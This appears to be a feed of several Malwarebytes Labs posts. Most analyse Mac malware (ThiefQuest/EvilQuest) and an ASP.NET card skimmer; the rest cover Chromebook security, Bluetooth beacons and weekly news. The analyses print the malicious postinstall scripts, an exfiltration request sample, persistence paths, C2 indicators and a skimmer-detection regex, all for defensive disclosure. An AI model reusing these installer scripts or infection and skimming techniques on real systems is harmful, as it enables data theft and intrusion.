IT NEWS

Editor’s note: The original name for the malware, EvilQuest, has been changed due to a legitimate game of the same name from 2012. The new name, ThiefQuest, is also more fitting for our updated understanding of the malware.

The ThiefQuest malware, which was discovered last week, may not actually be ransomware according to new findings. The behaviors that have been documented thus far are still all accurate, but we no longer believe that the ransom is the actual goal of this malware.

Why? That’s a great question, and there have been a number of bread crumbs that have led us to this conclusion.

Unlikely ransom behavior

The presence of keylogging and backdoor code, discovered by Patrick Wardle, is unusual in ransomware. Unheard of on the Mac, really, but then we haven’t seen much ransomware on this side of the street. This discovery indicated that there was something strange about this threat.

There are also several clues left right in the ransom note itself:

The first clue is that the price of decryption is $50 USD. That’s a strangely low price, and in USD rather than Bitcoin, and the victim would be expected to calculate the correct amount of Bitcoin at the exchange rate at that moment. This by itself, however, isn’t proof of anything.

There was another finding later noticed by Lawrence Abrams, of Bleeping Computer, who has more experience with ransomware in the Windows world than most of the Mac researchers who were investigating. There was no email address provided in the ransom note, so there’s no way to get in touch with the criminals behind the malware to get your decryption key—and no way for them to contact you either.

Further, when ransom notes obtained from different systems were compared, it was discovered that the Bitcoin address given is the same for everyone. This means that there would be no way for the criminals to verify who paid the ransom.

Finally, although there is a decryption routine in the malware, findings by Patrick Wardle showed that it was not called anywhere in the malware code, meaning the function is orphaned and will never get executed.

This, plus the strange reluctance shown by the malware to actually encrypt anything, suggests that the ransom is merely a distraction. (I was only able to get files encrypted once, and that was not the same install where the malware was yelling at me every five minutes that it had encrypted my files when it actually hadn’t.)

While looking at the network activity from an active install of ThiefQuest, I noticed that it was making literally hundreds of connections to the command and control (C2) server rapidly.

Like a magician, distracting your eye with one hand while the other performs some slight of hand, this malware appears to be making a lot of noise to cover for what we now believe is its real goal: data exfiltration.

Exfiltration?

For those unfamiliar with the term, data exfiltration is simply data theft. It’s used to refer to the act of malware collecting data from an infected machine and sending it to a server under the attacker’s control.

In the case of ThiefQuest, there was a Python script that was dropped on the system, but not reliably. (I didn’t get it in every installation.) That script was used to exfiltrate data.

This script scans through all the files in the /Users/ folder—the folder that contains all user data for all users on the computer—for any files having certain extensions, such as .pdf, .doc, .jpg, etc. Some extensions in particular indicate points of interest for the malware, such as .pem, used for encryption keys, and .wallet, used for cryptocurrency wallets.

Those files are then uploaded via unencrypted HTTP, one after another. Examining the network packets showed that they contained a string with two pieces of information: a file path and a random string of characters.

c=VGhpcyBpcyBhIHRlc3QK&f=%2FUsers%2Ftest%2FDocuments%2Fpasswords.doc

The passwords.doc file this refers to was a decoy file that contained the text “This is a test.” The seemingly random string, VGhpcyBpcyBhIHRlc3QK, is a base64-encoded string that, when decoded, shows the content of the file.

Thus, the malware was exfiltrating hundreds of files over unencrypted HTTP.

So what is this Mac malware?

According to Abrams, such malware in the Windows world is known as a “wiper.” Such malware is often intended to steal data and wipe the system, in part or in whole, to cover its tracks.

Typically, a wiper is deployed in targeted attacks against a particular organization. Sometimes, as has been the case with malware such as the infamous NotPetya, that malware will spread beyond the target, or may intentionally be spread widely to hide who the target is.

At this point, there’s no indication that this is a targeted attack. It’s too all over the board so far, with random sightings all over the globe.

There is some indication that this may be just a proof-of-concept (PoC), such as the following comment in a Python script associated with the malware:

# n__ature checking PoC
# TODO: PoCs are great but this thing will
# deliver much better when implemented in
# production

I am always reluctant to believe what a piece of malware tells me. This may be a red herring, or may be an old comment that was never removed, or perhaps that single Python script itself is the PoC. Still, the apparent lack of polish on this malware could mean that it was not really ready for release.

Additional capabilities

As mentioned previously, this malware appears to also include code for keylogging and for opening a backdoor to give the attacker prolonged access to your Mac. This is unusual for ransomware, but not really at all unusual for our new understanding of the malware.

More unexpected, though, is the fact that the malware appears to include code that behaves like the textbook definition of a virus—something that has not been seen on Macs since the change from System 9 to Mac OS X 10.0.

We previously noted that the malware injected itself into some files related to Google Software Update, and found this rather puzzling, as Google Chrome will detect the changes and replace the tampered files with clean ones. However, new findings on viral behavior from Patrick Wardle revealed more information about how this is happening.

A virus is a specific type of malware that adds malicious code to legitimate apps or executables, as a way to spread or reinfect a machine.

The malware will actually search through the /Users/ folder looking for executable files. When it finds one, it will prepend malicious code to the beginning of the file. This means that when the file is executed, the malicious code is executed first. That code will then copy the legit file content into a new, invisible file and execute that.

The act of replacing or modifying a legit file with a malicious one, and then running legit code to make it look like nothing’s wrong, is not new on macOS. In fact, the first real Mac ransomware, KeRanger, was spread through a modified copy of the Transmission torrent app. The attacker modified Transmission then hacked the Transmission web site to spread the poisoned version of the app.

However, until now, this had been done manually by an attacker in order to modify a legitimate app for malicious distribution. This has not been done in an automated fashion by malware since the days of System 1 through System 9, when Mac viruses were last seen.

What should I do if I’m infected?

The intent of the malware doesn’t change its removal, and Malwarebytes for Mac will still remove all known components of the malware.

However, there are some other considerations. It’s entirely possible that executable files on an infected Mac may have been modified maliciously, and these changes may not be detected by antivirus software. Even if they are, removal of those files may cause damage to software on your system. Thus, because of this danger and the likely damage to user data, it may be prudent to restore an infected system from backups rather than trying to disinfect it.

Recovering from data theft can be harder, in some ways, than recovering from ransomware. If you have good backups, recovering from ransomware is relatively easy. There’s no taking back stolen data, though!

If you were infected, spend some time thinking about what data you have that may have been stolen. How you respond depends on the data. If you had credit cards in the data in your user folder, you may want to consider canceling them. If there was sensitive personal information, such as social security numbers, consider locking your credit with credit agencies. If you had passwords, change those passwords wherever you use them.

Ultimately, though, personal information that has been stolen is forever in other hands. In cases of embarrassing or damaging information that is leaked, there’s no recovery. If the attacker decides to do something malicious with that—blackmail, for example—you can’t protect yourself.

Thus, it’s best not to rely on the FileVault encryption on your hard drive. That’s great for protecting your data if your Mac gets stolen, but not so much against malware running on the machine. If you have any highly sensitive data, be sure that it is encrypted independently somehow. Prevention is always the best protection.

I don’t have backups! Can I get my data back?

A decryptor for files that may have gotten encrypted is available on GitHub. It is a command-line tool, so if you’ve had files encrypted, you’ll need to run the decryptor from the Terminal. If you aren’t sure what to do, please feel free to seek help in the Malwarebytes forums.

The post Mac ThiefQuest malware may not be ransomware after all appeared first on Malwarebytes Labs.

Cybercriminals typically focus on targets that can get them the highest return with the least amount of effort. This is often determined by their ability to scale attacks, and therefore on how prevalent a vulnerability or target system is. Enter: the credit card skimmer.

In the world of digital skimming, we’ve seen the most activity on e-commerce content management systems (CMSes), such as Magento and plugins like WooCommerce.

However, it is important to remember that attackers can and will go after any victim when the opportunity is there. Case in point: The skimmer we describe today has been active in the wild since mid-April, and is targeting websites hosted on Microsoft IIS servers running the ASP.NET web application framework.

Unusual victims

As defenders, we tend to focus a lot of our attention on the same platforms, in large part because most of the compromised websites we flag are built on the LAMP (Linux, Apache, MySQL, and PHP) stack. It’s not because those technologies are less secure, but simply because they are so widely adopted.

And yet, in this campaign, the credit card skimmer is exclusively focused on websites hosted on Microsoft IIS servers and running ASP.NET, Microsoft’s web framework to develop web apps and services.

We found over a dozen websites that range from sports organizations, health, and community associations to (oddly enough) a credit union. They have been compromised with malicious code injected into one of their existing JavaScript libraries.

There doesn’t seem to be a specific JS library being targeted, and the code, which we will review later, sometimes takes different forms. However, all the sites we identified were running ASP.NET version 4.0.30319, which is no longer officially supported and contains multiple vulnerabilities.

While ASP.NET is not as popular as PHP, especially for smaller businesses and personal blogs, it still accounts for a sizable market share and, as one might expect, includes websites running shopping cart applications. All the compromised sites we identified had a shopping portal, and this is exactly what the attackers were after.

Different types of malicious injection

In a few instances, the skimmer was loaded remotely. For example, Figure 4 shows a legitimate library where malicious code was appended and obfuscated. It loaded the skimmer from the remote domain thxrq[.]com. The actual file may be named element_main.js, gmt.js, or some other variation.

However, in most cases, we saw the full skimming code being injected directly into the compromised JavaScript library of the affected site. There were several different styles that made identification a little challenging.

Skimmer triggers on credit card number or password

This skimmer (source code here) is designed to not only look for credit card numbers but also passwords, although the latter appears to be incorrectly implemented. We can see those checks with two different calls for the match method.

The data is encoded using an interesting logic.

• charcodeAt() method to return the Unicode of each character contained within the string of each specific field
• toString() method to convert that number to a string

There’s an additional twist in that it groups the resulting combined strings by sets of two characters.

Finally, the data is exfiltrated via the same domain in a GET request where the filename is a GIF image. When this skimmer is loaded by default, it will also issue a GET request for the file null.gif (no exfiltration data present).

In order to decode data sent in an exfiltration attempt, we need to reverse this logic.

• Take the blurb and create an array of elements with two strings each
• Use the parseInt() function to transform the two-character string into an integer
• Use the String fromCharCode() method to convert the Unicode number into a character

Here’s how we can take the URL path with encoded data (input) and run it through a piece of JavaScript to see the decoded version of it:

Campaign likely started mid April

This skimming campaign likely began sometime in April 2020 as the first domain (hivnd[.]net) part of its infrastructure (31.220.60[.]108) was registered on April 10 by a threat actor using a ProtonMail email address.

OSINT data from sources such as urlscan.io shows various sites and brands were affected during this time period. Some of those sites already remediated the compromise.

We started contacting the remaining affected parties in the hope that they would identify the breach and take appropriate actions to harden their infrastructure.

All platforms and frameworks welcome

Credit card skimming has become a popular activity for cybercriminals over the past few years, and the increase in online shopping during the pandemic means additional business for them, too.

Attackers do not need to limit themselves to the most popular e-commerce platforms. In fact, any website or technology is fair game, as long as it can be subverted without too much effort. In some cases, we notice “accidental” compromises, where some sites get hacked and injected even though they weren’t really the intended victims.

Malwarebytes customers are protected against this and other credit card skimming campaigns via web protection technology available in our desktop software and through our Browser Guard extension.

Thanks to @unmaskparasites for sharing additional insight on the affected websites.

Indicators of Compromise

Regex to find ASP.NET skimmer injections

(jqueryw+||undefined;jqueryw+={1,5}undefined&&)|(!window.jqvw+&&(jqvw+=function(a){return)

Skimmer infrastructure

idpcdn-cloud[.]com
joblly[.]com
hixrq[.]net
cdn-xhr[.]com
rackxhr[.]com
thxrq[.]com
hivnd[.]net

31.220.60[.]108

The post Credit card skimmer targets ASP.NET sites appeared first on Malwarebytes Labs.

The supervisor handed Jim a Chromebook and said: “Take this home with you and use it to send me updates. We want to minimize the number of visits to the office—anything you can do from home helps keep this place safer. When the pandemic is over, I’d like to have it back in one piece, if possible.”

Jim is great at his job, but his reputation with technology skills is somewhat lacking. This should be an interesting experiment.

The Chromebook Jim’s supervisor hands him is a low-level laptop running ChromeOS. Because of the minimum hardware requirements for ChromeOS, these laptops are usually a lot cheaper than those running Windows or macOS. Bonus: Chromebooks are user-friendly, so folks with less technical savvy can still navigate with ease.

Not all jobs allow for working from home (WFH)—some have to visit clients or building sites. But for those who can, a Chromebook can be an ideal solution for employers to hand out. They are cheap, fast, and as long as you don’t need any complex or specific software to run on them, they can be used for any web-based and administrative tasks, such as reading and sending email, creating progress reports, and preparing information for the billing department.

Chromebook security

Chromebooks are supposed to come with sufficient, built-in security. But is that really true? Can you use a Chromebook without having to think twice about general cybersecurity and anti-malware protection in particular? Or do you need Chromebook antivirus? Let’s have a look first at which security features are pre-packed in ChromeOS.

The built-in security features of ChromeOS include:

• Automatic updating: This is a good feature. No argument there. But it says nothing about the frequency of updates or about how fast updates will become available to counter zero-day vulnerabilities.
• Sandboxing: Sandboxing is a method to limit the impact of an infection. The idea is that when you close an app or website, the related infection will be gone. While this might be true in most cases, it’s wishful thinking to believe malware authors would be unable to “escape” the sandbox.
• Verified boot: This is a check done when the system starts up to verify that it hasn’t been tampered with. But this check does not work when the system is set to Developer Mode.
• Encryption: This is an excellent feature that prevents criminals from retrieving data from a compromised, stolen or lost laptop, but it does not protect the system against malware.
• Recovery: Recovery is an option that you can use to restore the Chromebook to a previous state. While this could get rid of malware, it might also delete important data in the process.

While Chromebooks have several built-in security features, none of them are full-proof. The danger is minimized by design, but any motivated cybercriminal could find their way around the checks put in place.

Additional Chromebook security risks

There are some additional arguments that could be made against using a Chromebook antivirus program. Chromebooks can download and run Android apps in emulated mode, which increases their security risk. But additional security protocols should prevent this feature from being exploited. These include the following:

• The Play Store and Web Store both check the apps before they are admitted. While this may stop many blatant forms of malware, we find a fair amount of adware and potentially unwanted programs in these stores every day. And now and then, more malicious security threats make their way into the Play Store. And then there is the fact that many users will be tempted to install apps that are not available in the Play or Web Stores (yet).
• Administrator permissions for malware are impossible to get on a Chromebook. While this is true, it does not mean that malware can’t get nasty without these permissions. As we have discussed in our blog on how Chromebooks can and do get infected, there are many examples of malware for Chromebooks that are annoying enough without the need to be elevated.
• Chromebooks are not interesting for malware authors. Again, this may have been true at some point, but the more Chromebooks are out there, the bigger their target audience and the more appealing to focus on that group.

All in all, Chromebook virus protection may not be necessary yet, but there is plenty of malware going around that could ruin your Chromebook experience.

Beware of trusting the OS too much

As we have heard in the past (Macs don’t get infected!), some platforms have reputations for being safer even when the truth is the opposite. For example, this year, Mac malware outpaced Windows malware 2:1.

Windows machines still dominate the market share and tend to have more security vulnerabilities, which have for years made them the bigger and easier target for hackers. But as Apple’s computers have grown in popularity, hackers appear to be focusing more of their attention on the versions of macOS that power them. There is a good chance that with the growing popularity of ChromeOS-based systems, the same will happen in that field.

And the browser

And let’s not forget the weak spot of any OS: its browser. Just the other day, Google removed 106 extensions that were found spying on users. These extensions were all published by the same criminals and were found illegally collecting sensitive user data as part of a massive global surveillance campaign.

Awake Security, which disclosed the findings late last week, said the malicious browser add-ons were tied back to a single Internet domain registrar, GalComm.

This campaign and the Chrome extensions involved performed operations such as taking screenshots of the victim device, loading malware, reading the clipboard, and actively harvesting tokens and user input.

Our advice is that the malware out there today is obtrusive enough to warrant installing extra protection on any device, including a Chromebook. As Chromebooks gain in popularity, cybercriminals will look to profit from them, too. Better to be safe and prepared than to be caught asleep at the laptop.

Stay safe, everyone!

The post Do Chromebooks need antivirus protection? appeared first on Malwarebytes Labs.

A Twitter user going by the handle @beatsballert messaged me yesterday after learning of an apparently malicious Little Snitch installer available for download on a Russian forum dedicated to sharing torrent links. A post offered a torrent download for Little Snitch, and was soon followed by a number of comments that the download included malware. In fact, we discovered that not only was it malware, but a new Mac ransomware variant spreading via piracy.

Installation

Analysis of this installer showed that there was definitely something strange going on. To start, the legitimate Little Snitch installer is attractively and professionally packaged, with a well-made custom installer that is properly code signed. However, this installer was a simple Apple installer package with a generic icon. Worse, the installer package was pointlessly distributed inside a disk image file.

Examining this installer revealed that it would install what turned out to be the legitimate Little Snitch installer and uninstaller apps, as well as an executable file named “patch”, into the /Users/Shared/ directory.

The installer also contained a postinstall script—a shell script that is executed after the installation process is completed. It is normal for this type of installer to contain preinstall and/or postinstall scripts, for preparation and cleanup, but in this case the script was used to load the malware and then launch the legitimate Little Snitch installer.

!/bin/sh
mkdir /Library/LittleSnitchd

mv /Users/Shared/Utils/patch /Library/LittleSnitchd/CrashReporter
rmdir /Users/Shared/Utils

chmod +x /Library/LittleSnitchd/CrashReporter

/Library/LittleSnitchd/CrashReporter
open /Users/Shared/LittleSnitchInstaller.app &

The script moves the patch file into a location that appears to be related to LittleSnitch and renames it to CrashReporter. As there is a legitimate process that is part of macOS named Crash Reporter, this name will blend in reasonably well if seen in Activity Monitor. It then removes itself from the /Users/Shared/ folder and launches the new copy. Finally, it launches the Little Snitch installer.

In practice, this didn’t work very well. The malware got installed, but the attempt to run the Little Snitch installer got hung up indefinitely, until I eventually forced it to quit. Further, the malware didn’t actually start encrypting anything, despite the fact that I let it run for a while with some decoy documents in position as willing victims.

While waiting for the malware to do something—anything!—further investigation turned up an additional malicious installer, for some DJ software called Mixed In Key 8, as well as hints that a malicious Ableton Live installer also exists (although such an installer has not yet been found). There are undoubtedly other installers floating around as well that have not been seen.

The Mixed In Key installer turned out to be quite similar, though with slightly different file names and postinstall script.

!/bin/sh
mkdir /Library/mixednkey

mv /Applications/Utils/patch /Library/mixednkey/toolroomd
rmdir /Application/Utils

chmod +x /Library/mixednkey/toolroomd

/Library/mixednkey/toolroomd &

This one did not include code to launch a legitimate installer, and simply dropped the Mixed In Key app into the Applications folder directly.

Infection

Once the infection was triggered by the installer, the malware began spreading itself quite liberally around the hard drive. Both variants installed copies of the patch file at the following locations:

/Library/AppQuest/com.apple.questd
/Users/user/Library/AppQuest/com.apple.questd
/private/var/root/Library/AppQuest/com.apple.questd

It also set up persistence via launch agent and daemon plist files:

/Library/LaunchDaemons/com.apple.questd.plist
/Users/user/Library/LaunchAgents/com.apple.questd.plist
/private/var/root/Library/LaunchAgents/com.apple.questd.plist

The latter in each group of files, found in /private/var/root/, is likely to be due to a bug in the code that creates the files in the user folder, leading to creation of the files in the root user’s folder. Since it’s quite rare for anyone to actually log in as root, this doesn’t serve any practical purpose.

Strangely, the malware also copied itself to the following files:

/Users/user/Library/.ak5t3o0X2
/private/var/root/Library/.5tAxR3H3Y

The latter was identical to the original patch file, but the former was modified in a very strange way. It contained a copy of the patch file, with a second copy of the data from that file appended to the end, followed by an additional 9 bytes: the hexidecimal string 03705701 00CEFAAD DE. It is not yet known what the purpose of these files or this additional appended data is.

Even more bizarre—and still inexplicable—was the fact that the malware also modified the following files:

/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/crashpad_handler
/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/GoogleSoftwareUpdateDaemon
/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksdiagnostics
/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksfetch
/Users/user/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksinstall

These files are all executable files that are part of GoogleSoftwareUpdate, which are most commonly found installed due to having Google Chrome installed on the machine. These files had the content of the patch file prepended to them, which of course would mean that the malicious code would run when any of these files is executed. However, Chrome will see that the files have been modified, and will replace the modified files with clean copies as soon as it runs, so it’s unclear what the purpose here is.

Behavior

The malware installed via the Mixed In Key installer was similarly reticent to start encrypting files for me. I left it running on a real machine for some time with no results, then started playing with the system clock. After setting it ahead three days, disconnecting from the network, and restarting the computer a couple times, it finally began encrypting files.

The malware wasn’t particularly smart about what files it encrypted, however. It appeared to encrypt a number of settings files and other data files, such as the keychain files. This resulted in an error message when logging in post-encryption.

There were other very obvious indications of error, such as the Dock resetting to its default appearance.

The Finder also began showing signs of trouble, with spinning beachballs frequently appearing when selecting an encrypted file. Other apps would also freeze periodically, but the Finder freezes could only be managed by force quitting the Finder.

Although others have reported that a file is created with instructions on paying the ransom, as well as an alert shown, and even text-to-speech used to inform the user they have been infected with ransomware, I was unable to duplicate any of these, despite waiting quite a while for the ransomware to finish.

Capabilities

The malware includes some anti-analysis techniques, found in functions named is_debugging and is_virtual_mchn. This is common with malware, as having a debugger attached to the process or being run inside a virtual machine are both indications that a malware researcher is analyzing it. In such cases, malware will typically not display its full capabilities.

In a blog post on Objective-See, Patrick Wardle outlined the details of how these two routines work. The is_virtual_mchn function actually does not appear to check to see if the malware is running in a virtual machine, but rather tries to catch a VM in the process of adjusting time. It’s not unusual for malware to include delays. For example, the first ever Mac ransomware, KeRanger, included a three day delay between when it infected the system and when it began encrypting files. This helps to disguise the source of the malware, as the malicious behavior may not be immediately associated with a program installed three days before.

This, plus the fact that the malware includes functions with names like ei_timer_create, ei_timer_start, and ei_timer_check, probably means that the malware runs on a time delay, although it’s not yet known what that delay is.

Patrick also points out that the malware appears to include a keylogger, due to presence of calls to CGEventTapCreate, which is a system routine that allows for monitoring of events like keystrokes. What the malware does with this capability is not known. It also opens a reverse shell to a command and control (C2) server.

Open questions

There are still a number of open questions that will be answered through further analysis. For example, what kind of encryption does this malware use? Is it secure, or will it be easy to crack (as in the case of decrypting files encrypted by the FindZip ransomware)? Will it be reversible, or is the encryption key never communicated back to the criminals behind it (also like FindZip)?

There’s still more to be learned, and we will update this post as more becomes known.

Post-infection

If you get infected with this malware, you’ll want to get rid of it as quickly as possible. Malwarebytes for Mac will detect this malware as Ransom.OSX.EvilQuest and remove it.

If your files get encrypted, we’re not sure how dire a situation that is. It depends on the encryption and how the keys are handled. It’s possible that further research could lead to a method for decrypting files, and it’s also possible that won’t happen.

The best way of avoiding the consequences of ransomware is to maintain a good set of backups. Keep at least two backup copies of all important data, and at least one should not be kept attached to your Mac at all times. (Ransomware may try to encrypt or damage backups on connected drives.)

I personally have multiple hard drives for backups. I use Time Machine to maintain a couple, and Carbon Copy Cloner to maintain a couple more. One of the backups is always in the safe deposit box at the bank, and I swap them periodically, so that worst case scenario, I always have reasonably recent data stored in a safe location.

If you have good backups, ransomware is no threat to you. At worst, you can simply erase the hard drive and restore from a clean backup. Plus, those backups also protect you against things like drive failure, theft, destruction of your device, etc.

Indicators of Compromise

Files

patch (and com.apple.questd)
5a024ffabefa6082031dccdb1e74a7fec9f60f257cd0b1ab0f698ba2a5baca6b

Little Snitch 4.5.2.dmg
f8d91b8798bd9d5d348beab33604a540e13ce40b88adc096c8f1b3311187e6fa

Mixed In Key 8.dmg
b34738e181a6119f23e930476ae949fc0c7c4ded6efa003019fa946c4e5b287a

Network

C2 server 167.71.237.219
C2 address obtained from andrewka6.pythonanywhere[.]com

The post New Mac ransomware spreading through piracy appeared first on Malwarebytes Labs.

Apps and their permissions have been in the news recently, particularly in relation to tracking/privacy issues and Bluetooth. Why Bluetooth, though? What is it, and what is it doing to raise concerns in some security quarters?

Bluetooth: your cool, then uncool, but mostly cool again cousin

Bluetooth has had a slightly odd reputation down the years. Pre-smart phones, for many people it was “that thing enabled by default, which you can also use to transfer photographs incredibly slowly.” When smart phones came around, it was relegated to “that thing enabled by default, but I’ll turn it off because I have Wi-Fi.”

Bluetooth technology actually has a lot of applications. It’s a short-range wireless communications protocol which doesn’t deserve its occasionally uncool reputation. Its limited range stops it from killing your battery, and from a security standpoint, it’s quite tricky to deliberately attack someone’s mobile device when everything hinges on a target being in a small space at a specific time.

If you want to send contacts or videos to someone, tether devices, talk to people safely while in a car, or even just fire up some wire-free headphones in the gym without hassle, Bluetooth is the place to be. That’s not to say people can’t do bad things with it, of course.

Apple’s AirDrop, which made use of Bluetooth, was caught up in some unsolicited message chaos back in 2018. Bluejacking did similar things and has been around for a long time. Bluetooth isn’t 100 percent secure, but then nothing is. There are multiple steps you can take to lock Bluetooth down, with the caveat that it works best by being open and accessible most of the time.

However, security concerns about Bluetooth are being raised today in the realm of beacon technology.

What is beacon technology?

I’m glad you asked. You likely run into beacons every day without knowing it. For clarity’s sake, there are many beacon types and we’re not focusing on all of them here. Web beacons, which typically track you across websites or email, are interesting but not our focus here. We’re exploring the kind of beacon located in a store you happen to enter, or even just pass by inside a mall, which sees you coming and helps to serve up (say) some targeted advertising on a billboard or helps ad networks push said ads when you get home in your web browser.

We’ll look at what happens once you step inside the store in a little while, but first we need to figure out how to get you to roll up to my wonderland emporium in the first place. The unexpected first step involves a fence, but not the wooden kind.

Putting up a fence

Geofencing has been around for a good while, and you may have come into contact with it without realizing what it’s called. If you’ve read a more recent “What is this technology?” article, you’ll probably see lots of mentions of advertising, marketing, leading offers, customer satisfaction, and more. You’d assume it was some sort of marketing be-all and end-all, created by Steven P. Advertising, CEO of geolocational advertising services.

That’s not quite the case. 

Geofencing allows you to carve out virtual space around a real area. It’ll help prevent toddlers escaping from a nursery, or stop people wearing an ankle bracelet going on the run. It could alert workers in dangerous environments that they’ve wandered into the danger zone, or help businesses keep curious employees or intruders out of secure areas.

As you’ll be aware, some of this has been around seemingly forever. However, marketing and sales have adopted it as a major method for driving sales. If you go searching online, most of the primary results will be for slick marketing operation dot com as opposed oil rig platform safety dot net.

A trail of breadcrumbs

How do I let you know about my cool store if it’s quite a way off from your current location? I could throw up a chain of geofences along the roads you happen to be traveling down. As you pass through the geofenced area, you might start to receive mobile notifications about the awesome and very cheaply priced goods I’m selling.

Why not think bigger? I could geofence some digital billboards as you go driving past.

From your car, to my store: You may not have intended to pay me a visit when you set out this morning, but those adverts for…let’s say delicious sweet rolls…were too good an opportunity to pass up.

My selection of fences has brought you to the store, and now the in-house beacons will do the rest. Everything from your movement around the building to the products you linger on is now potentially up for grabs. But how do I send you some of those juicy beacon ads or follow you round the store like a digital ghost in the first place? How do I know if you’re lingering in front of my sweet rolls or walking on by to reach something more interesting?

The answer is: I need to introduce your mobile device to my good friend, Bluetooth McBeacon.

Bluetooth McBeacon: your new in-store guide

Well, what is a beacon? It’s most frequently a small, randomly shaped device. Could be a box, it might look like a router, or it could resemble one of those targets you strap to your chest in a game of laser tag. Put simply, it could be pretty much anything. It pulses out an ID and when a phone or other device recognises said ID, they’ll have a sales-based marketing conversation.

How to begin that sales-based marketing conversation?

The most common way for this to happen is to create an app, and include Bluetooth pairing as one of the permissions. If I’m strapped for cash or don’t know where to begin cobbling an app together, I don’t have to; there are multiple third-party apps out there which will pop your content via the beacon.

That’s the app part sorted out. My beacon device will make use of various protocols to howl its ID out into the void. Did you know Google made one of these protocols? How about Apple? It’s a whole new world of void howling.

Anyway, my beacon howls into the void at regular intervals—the shorter the better because it allows for more accurate tracking. When someone running the relevant mobile app wanders into the store, the beacon stops howling and starts hi-fiving as the mobile recognises the beacon ID. One quick permission request later, and we’re officially up and running with our previously mentioned sales-based marketing conversation.

The world is now our marketing oyster, and a barrage of targeted advertising, in-store offers, and even ads for objects you lingered in front of (but didn’t buy) will follow you home as a gentle reminder to maybe pick it up online at a discount. Depending on which ad platforms the beacon owner makes use of, they may be able to plug said platform directly into the beacon’s functionality, which would assist in even more detailed forms of tracking.

These techniques, combined with geofencing for maximum marketing impact, are how stores are pushing you to buy their stock and leading you to a marketing metrics bonanza behind the scenes.

There are many other forms of real-world ad pushing techniques, but in terms of Bluetooth and beacons, they’re a little more accessible and straightforward and this is probably why they’re so present in our everyday lives (even if we don’t realise it).

The future of Bluetooth tracking

Various attempts to make augmented reality shopping aids (dragging and dropping VR furniture into your room so you can see if it fits perfectly, waving your phone around to click on digital coupons as you pick up tins of soup, sales assistants knowing which product you hovered your phone over the longest) haven’t exactly exploded the way developers probably thought.

Nice ideas, but a little convoluted and often not practical. Dropping a router-like device in your store and asking people to download your app for some discounts instead? That is the way to go.

What can I do to avoid Bluetooth tracking?

Whether you’re not keen on election-related Bluetooth antics, or simply don’t want to be followed offline or otherwise by a growing collection of stores and malls, Bluetooth is easy to keep a handle on. Most phone models will have it as a default setting whenever you open your options menu, usually next to Wi-Fi. Don’t want Bluetooth doing its thing? Just turn it off.

If you desperately need to use Bluetooth for something specific, enable then disable right after. Keeping an eye on app permissions at install will help, and of course you should be in the habit of doing that anyway, and not just for Bluetooth. A huge range of apps ask for Bluetooth permissions, but that doesn’t necessarily mean they’re up to no good. As mentioned above, Bluetooth has a ton of valid uses, and even tech directly adjacent to it like ringfencing can be used for entirely useful purposes.

The trick is figuring out what the value proposition for the app is and knowing what its owners intend to do with your data once they have it. If you’re happy with their intentions, feel free to grant permission. If you’re unsure, save the install for another day and do some Internet sleuthing before making a commitment.

Because once your device and identity are plugged into an online/offline marketing profile, you may find it almost impossible to extract yourself. Perhaps it’s better to give that tempting-looking sweet roll store a pass.

The post Bluetooth beacons: one free privacy debate with your next order appeared first on Malwarebytes Labs.

Last week on Malwarebytes Labs, we provided a zero-day guide for 2020 featuring recent attacks and advanced preventive techniques, and we learned how to cough in the face of scammers, offering security tips for the 2020 tax season. We also looked at a web skimmer hiding within EXIF metadata that was exfiltrating credit cards via image files.

In the most recent episode of our podcast Lock and Code, we talked to Matt Davey and Kyle Swank of 1Password about strengthening and forgetting passwords.

Other cybersecurity news

• Google removed 106 extensions from its Chrome Web Store for collecting sensitive user data as part of a campaign targeting oil and gas, finance, and healthcare sectors. (Source: The Hacker News)
• DDoSecrets has published BlueLeaks, data from over 200 police departments, law enforcement training, and support resources and fusion centers. (Source: ThreatPost)
• A sophisticated and well-crafted attack campaign has been hitting unprepared organizations with Nefilim – aka Nephilim – ransomware. (Source: Gov Info Security)
• An IBM survey found that newly-minted remote workers actually present a significant cybersecurity risk, without being at fault. (Source: IBM Security)
• Billing information for some clients that was stored in a browser’s cache may have been compromised, Twitter said in an email to business clients. (Source: SC Magazine UK)
• A European bank suffered the biggest PPS DDoS attack to date, and a new botnet is suspected to be behind the attack. (Source: Bleeping Computer)
• Researchers discovered a new variant of Lucifer—a hybrid cryptojacking malware—involved in numerous incidents of CVE-2019-9081 exploitation in the wild. (Source: Palo Alto Networks)
• An online engineer warned people to stay away from Tik-Tok after close investigation revealed intrusive user tracking and other issues. (Source: BoredPanda)
• Nvidia released a set of security updates to remove vulnerabilities in the Nvidia GPU Display Driver. (Source: ZDNet)
• Sodinokibi ransomware operators that claimed to have siphoned confidential docs on Nicki Minaj, Mariah Carey, and Lebron James from an American law firm are threatening to auction off the info. (Source: The Register)

Stay safe, everyone!

The post A week in security (June 22 – 28) appeared first on Malwarebytes Labs.

While many countries are beginning to ease up on their respective pandemic lock downs—which, in turn, also means that everyone will soon ease into a life that is not quite post-COVID-19—we find ourselves once more on the cusp of change, an outlook that makes some feel anxious and others hopeful.

But for forward-looking security experts, there are some futures they dread and, frankly, would rather un-see. This is because, in the underground market and forums, there is sustained interest in ransomware and the surprisingly cheap offerings of deepfake services to match every cyber miscreant’s campaign of choice. Mash them together and what do you have? Deepfake ransomware.

Cybercrime waiting to happen

News about ransomware continues to be relevant, especially for businesses, its consistent targets. It seems that organizations of all sizes cannot cope, especially now that perimeters have been essentially decimated by remote work. And if you have been paying attention about how cybercrime gangs operate, they don’t keep using the same malicious tools for long. Most of the time, these tools evolve in time and with the crime.

So can you imagine a world where deepfake ransomware is a thing?

“Deepfake ransomware”? Never heard of it.

Granted that this compound word is quite new, the two terms it’s made of are not. But for the sake of review, let’s look at each of these terms so we can get an idea of how they could be related and why they could present a frightening future in cybercrime.

